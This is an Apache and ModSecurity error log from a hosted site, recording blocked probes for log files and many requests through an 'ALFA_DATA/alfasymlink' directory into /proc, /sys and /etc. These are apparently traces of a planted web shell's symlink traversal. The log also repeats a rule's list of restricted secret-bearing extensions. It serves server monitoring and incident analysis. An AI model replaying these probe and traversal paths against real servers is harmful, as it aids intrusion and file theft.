[Sun Oct 25 01:50:20.011023 2026] [security2:error] [pid 2775712:tid 2775712] [client 76.136.67.178:36704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/logs/debug.log"] [unique_id "at2YmwLaiqtlZaJBsx4WZQAAAA0"]
[Sun Oct 25 01:50:20.032642 2026] [security2:error] [pid 2775712:tid 2775712] [client 76.136.67.178:36704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at2YmwLaiqtlZaJBsx4WZQAAAA0"]
[Sun Oct 25 01:50:26.493345 2026] [security2:error] [pid 2762145:tid 2762145] [client 76.136.67.178:37724] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/logs/app.log"] [unique_id "at2YolTnwNJm6o1fQZIg3QAAAAI"]
[Sun Oct 25 01:50:26.493688 2026] [security2:error] [pid 2762145:tid 2762145] [client 76.136.67.178:37724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/logs/app.log"] [unique_id "at2YolTnwNJm6o1fQZIg3QAAAAI"]
[Sun Oct 25 01:50:26.494549 2026] [security2:error] [pid 2762145:tid 2762145] [client 76.136.67.178:37724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at2YolTnwNJm6o1fQZIg3QAAAAI"]
[Sun Oct 25 01:50:32.153569 2026] [security2:error] [pid 2775672:tid 2775672] [client 76.136.67.178:38696] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/logs/error.log"] [unique_id "at2YqMqduxFlyzJhl1wDJwAAAAA"]
[Sun Oct 25 01:50:32.153926 2026] [security2:error] [pid 2775672:tid 2775672] [client 76.136.67.178:38696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/logs/error.log"] [unique_id "at2YqMqduxFlyzJhl1wDJwAAAAA"]
[Sun Oct 25 01:50:32.154962 2026] [security2:error] [pid 2775672:tid 2775672] [client 76.136.67.178:38696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at2YqMqduxFlyzJhl1wDJwAAAAA"]
[Sun Oct 25 01:50:34.128195 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.2.4.213:39173] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:50:37.587353 2026] [security2:error] [pid 2775709:tid 2775709] [client 76.136.67.178:39590] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/log/debug.log"] [unique_id "at2YrVyqe9jgJ5nfJHB66AAAAAo"]
[Sun Oct 25 01:50:37.587802 2026] [security2:error] [pid 2775709:tid 2775709] [client 76.136.67.178:39590] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/log/debug.log"] [unique_id "at2YrVyqe9jgJ5nfJHB66AAAAAo"]
[Sun Oct 25 01:50:37.588569 2026] [security2:error] [pid 2775709:tid 2775709] [client 76.136.67.178:39590] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at2YrVyqe9jgJ5nfJHB66AAAAAo"]
[Sun Oct 25 01:50:38.239266 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 18.209.201.119:52172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/bind
[Sun Oct 25 01:50:43.072006 2026] [security2:error] [pid 2775675:tid 2775675] [client 76.136.67.178:40434] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/log/app.log"] [unique_id "at2Ys0XktI94K6O16eLDBwAAAAM"]
[Sun Oct 25 01:50:43.072343 2026] [security2:error] [pid 2775675:tid 2775675] [client 76.136.67.178:40434] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/log/app.log"] [unique_id "at2Ys0XktI94K6O16eLDBwAAAAM"]
[Sun Oct 25 01:50:43.073092 2026] [security2:error] [pid 2775675:tid 2775675] [client 76.136.67.178:40434] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at2Ys0XktI94K6O16eLDBwAAAAM"]
[Sun Oct 25 01:50:50.137703 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.0.105.244:47179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:50:53.923748 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 185.191.171.8:34016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/slabs
[Sun Oct 25 01:51:06.127636 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 98.80.130.239:44643] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:51:26.605450 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.199:43726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objs_per_slab
[Sun Oct 25 01:51:30.773907 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 185.191.171.5:45130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/aliases
[Sun Oct 25 01:51:46.146681 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 3.208.156.9:2840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:51:54.247165 2026] [security2:error] [pid 2762145:tid 2762145] [client 52.4.76.156:10739] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/subsystem/"] [unique_id "at2Y-lTnwNJm6o1fQZIg4QAAAAI"]
[Sun Oct 25 01:51:54.247223 2026] [security2:error] [pid 2762145:tid 2762145] [client 52.4.76.156:10739] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/subsystem/"] [unique_id "at2Y-lTnwNJm6o1fQZIg4QAAAAI"]
[Sun Oct 25 01:52:01.279560 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 85.208.96.202:23100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/slabs
[Sun Oct 25 01:52:18.117108 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.45.194.165:32174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:52:26.387079 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 100.24.167.60:21920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:52:34.126484 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.214.238.178:62645] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:52:50.156960 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.208.193.63:42869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:52:54.121462 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 52.4.213.199:26334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:52:58.225634 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 52.5.242.243:37591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:53:02.154705 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 18.205.127.11:10391] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/subsystem/drivers_probe
[Sun Oct 25 01:53:06.003101 2026] [security2:error] [pid 2762188:tid 2762188] [client 170.106.84.136:48292] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/database.php"] [unique_id "at2ZQmQyb15Iqx39xvm3FQAAAC4"]
[Sun Oct 25 01:53:14.156771 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 35.168.238.50:27865] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:53:22.205407 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 35.174.253.85:50914] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:53:38.124697 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 52.202.52.82:43253] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:05/physical_node/driver/module/uevent
[Sun Oct 25 01:53:47.003908 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 100.28.57.133:42492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:53:47.004097 2026] [security2:error] [pid 2762145:tid 2762145] [client 100.28.57.133:42492] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory16/subsystem/devices/memory15/node0/cpu0/cache/index0/id"] [unique_id "at2Za1TnwNJm6o1fQZIg5QAAAAI"]
[Sun Oct 25 01:53:47.004119 2026] [security2:error] [pid 2762145:tid 2762145] [client 100.28.57.133:42492] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory16/subsystem/devices/memory15/node0/cpu0/cache/index0/id"] [unique_id "at2Za1TnwNJm6o1fQZIg5QAAAAI"]
[Sun Oct 25 01:54:06.133962 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 23.23.104.107:41353] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:54:22.129618 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 54.86.59.155:38181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/0000:00:01.2/resource4
[Sun Oct 25 01:54:26.163476 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.83.240.58:10033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:54:42.222094 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.213.85.234:17733] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:54:50.137536 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 18.214.138.148:52929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:02.133075 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.232.36.1:22366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:10.119551 2026] [ssl:error] [pid 2775710:tid 2775710] (22)Invalid argument: [client 3.214.176.44:47929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:18.134688 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.195.145.102:28745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:26.211846 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.224.215.150:5523] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:30.149167 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.3.155.146:32552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:34.140997 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.210.29.96:33083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:34.795135 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.2:48444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/total_objects
[Sun Oct 25 01:55:42.139997 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 3.209.174.110:48827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:55:54.140467 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 34.236.135.14:13242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input3/device/driver/bind
[Sun Oct 25 01:56:06.141941 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.204.62.163:32659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:56:14.154086 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 184.73.35.182:18797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/vesa-framebuffer/unbind
[Sun Oct 25 01:56:26.725650 2026] [security2:error] [pid 2759096:tid 2759096] [client 16.216.88.190:2048] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "at2aCmTNY6y0aXZ6joCbkQAAADk"]
[Sun Oct 25 01:56:26.726126 2026] [security2:error] [pid 2759096:tid 2759096] [client 16.216.88.190:2048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "at2aCmTNY6y0aXZ6joCbkQAAADk"]
[Sun Oct 25 01:56:26.726450 2026] [security2:error] [pid 2759096:tid 2759096] [client 16.216.88.190:2048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "at2aCmTNY6y0aXZ6joCbkQAAADk"]
[Sun Oct 25 01:56:30.140625 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.215.210.112:54084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/uevent
[Sun Oct 25 01:56:34.176597 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 44.223.193.255:22121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:56:42.291049 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.7.13.143:59902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:56:50.132769 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.213.240.226:10758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:56:54.303399 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 34.202.88.37:30559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/vmd/uevent
[Sun Oct 25 01:57:00.667234 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.6:48650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/bin/raw"] [unique_id "at2aLFTnwNJm6o1fQZIg7AAAAAI"]
[Sun Oct 25 01:57:00.667287 2026] [security2:error] [pid 2762145:tid 2762145] [client 185.191.171.6:48650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/bin/raw"] [unique_id "at2aLFTnwNJm6o1fQZIg7AAAAAI"]
[Sun Oct 25 01:57:02.174140 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 3.217.171.106:34002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:57:18.246958 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 35.168.238.50:44775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:57:38.146767 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 23.22.59.87:24576] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:57:42.135954 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 52.45.92.83:52942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:57:45.023253 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 185.191.171.9:32214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:57:50.273755 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.1.106.130:43948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:57:58.240527 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 54.80.185.200:3245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/vmd/unbind
[Sun Oct 25 01:58:06.169650 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 44.213.36.21:30519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:58:08.651826 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 85.208.96.206:33614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/partial
[Sun Oct 25 01:58:14.201544 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.215.221.125:25355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:58:22.462738 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 54.84.147.79:56414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/ac/unbind
